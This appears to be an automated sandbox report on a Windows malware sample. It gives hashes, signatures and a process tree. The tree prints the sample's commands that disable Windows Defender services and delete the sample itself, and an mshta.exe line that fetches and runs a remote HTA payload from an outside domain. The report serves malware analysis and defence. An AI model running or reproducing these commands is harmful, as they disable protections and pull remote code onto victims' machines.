Analysis

  • max time kernel
    150s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    13/10/2024, 15:46

General

  • Target

    40b55f8f7a059d7109267e849b4baf69_JaffaCakes118.exe

  • Size

    1.7MB

  • MD5

    40b55f8f7a059d7109267e849b4baf69

  • SHA1

    7443fc2390f77e85cbb02c7c49e9bd9069e09596

  • SHA256

    695a146e4bf37574785953b48a0be748459e89fc1a631def17ceefd9def363e1

  • SHA512

    da23652f3a0843b8363c3417a6a5935b8016ae5d3dc3ecd6fdf2f20cd151373207de3544f1796867bd7b7f3ebb53c076f1fd86a8c695b8e00d9edad2df2013b2

  • SSDEEP

    49152:hTptc8T749F/K8IHjj4gs+S7J/E426tpnWWa:hTptU9NpIDPs+S7J/E96tpba

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://pc-guarrantor-utility.com/favicon.ico?0=107&1=66&2=1&3=84&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\40b55f8f7a059d7109267e849b4baf69_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\40b55f8f7a059d7109267e849b4baf69_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2212
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2916
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2836
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2004
    • C:\Users\Admin\AppData\Roaming\Microsoft\kcissy.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\kcissy.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2512
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2972
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1804
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2484
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2016
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://pc-guarrantor-utility.com/favicon.ico?0=107&1=66&2=1&3=84&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2380
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\40B55F~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2800

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • \Users\Admin\AppData\Roaming\Microsoft\kcissy.exe

          Filesize

          1.7MB

          MD5

          40b55f8f7a059d7109267e849b4baf69

          SHA1

          7443fc2390f77e85cbb02c7c49e9bd9069e09596

          SHA256

          695a146e4bf37574785953b48a0be748459e89fc1a631def17ceefd9def363e1

          SHA512

          da23652f3a0843b8363c3417a6a5935b8016ae5d3dc3ecd6fdf2f20cd151373207de3544f1796867bd7b7f3ebb53c076f1fd86a8c695b8e00d9edad2df2013b2

        • memory/2116-15-0x0000000000220000-0x0000000000221000-memory.dmp

          Filesize

          4KB

        • memory/2116-31-0x0000000000400000-0x0000000000706000-memory.dmp

          Filesize

          3.0MB

        • memory/2116-9-0x00000000032E0000-0x00000000033F0000-memory.dmp

          Filesize

          1.1MB

        • memory/2116-7-0x0000000000780000-0x0000000000781000-memory.dmp

          Filesize

          4KB

        • memory/2116-6-0x0000000000730000-0x0000000000731000-memory.dmp

          Filesize

          4KB

        • memory/2116-12-0x00000000033C0000-0x0000000003500000-memory.dmp

          Filesize

          1.2MB

        • memory/2116-11-0x00000000032E0000-0x00000000032E2000-memory.dmp

          Filesize

          8KB

        • memory/2116-10-0x00000000032F0000-0x00000000032F1000-memory.dmp

          Filesize

          4KB

        • memory/2116-18-0x00000000033C0000-0x0000000003500000-memory.dmp

          Filesize

          1.2MB

        • memory/2116-17-0x0000000003300000-0x0000000003301000-memory.dmp

          Filesize

          4KB

        • memory/2116-16-0x0000000000230000-0x0000000000231000-memory.dmp

          Filesize

          4KB

        • memory/2116-0-0x0000000000400000-0x0000000000706000-memory.dmp

          Filesize

          3.0MB

        • memory/2116-8-0x00000000032E0000-0x0000000003450000-memory.dmp

          Filesize

          1.4MB

        • memory/2116-14-0x00000000032D0000-0x00000000032D2000-memory.dmp

          Filesize

          8KB

        • memory/2116-1-0x0000000000350000-0x00000000003AA000-memory.dmp

          Filesize

          360KB

        • memory/2116-4-0x00000000003D0000-0x00000000003D1000-memory.dmp

          Filesize

          4KB

        • memory/2116-3-0x00000000003F0000-0x00000000003F1000-memory.dmp

          Filesize

          4KB

        • memory/2116-2-0x0000000000710000-0x0000000000711000-memory.dmp

          Filesize

          4KB

        • memory/2116-5-0x0000000000760000-0x0000000000761000-memory.dmp

          Filesize

          4KB

        • memory/2116-26-0x00000000041C0000-0x00000000044C6000-memory.dmp

          Filesize

          3.0MB

        • memory/2116-27-0x00000000041C0000-0x00000000044C6000-memory.dmp

          Filesize

          3.0MB

        • memory/2116-33-0x00000000033C0000-0x0000000003500000-memory.dmp

          Filesize

          1.2MB

        • memory/2116-13-0x0000000003330000-0x0000000003331000-memory.dmp

          Filesize

          4KB

        • memory/2116-32-0x0000000000350000-0x00000000003AA000-memory.dmp

          Filesize

          360KB

        • memory/2924-29-0x0000000000400000-0x0000000000706000-memory.dmp

          Filesize

          3.0MB

        • memory/2924-35-0x0000000000400000-0x0000000000706000-memory.dmp

          Filesize

          3.0MB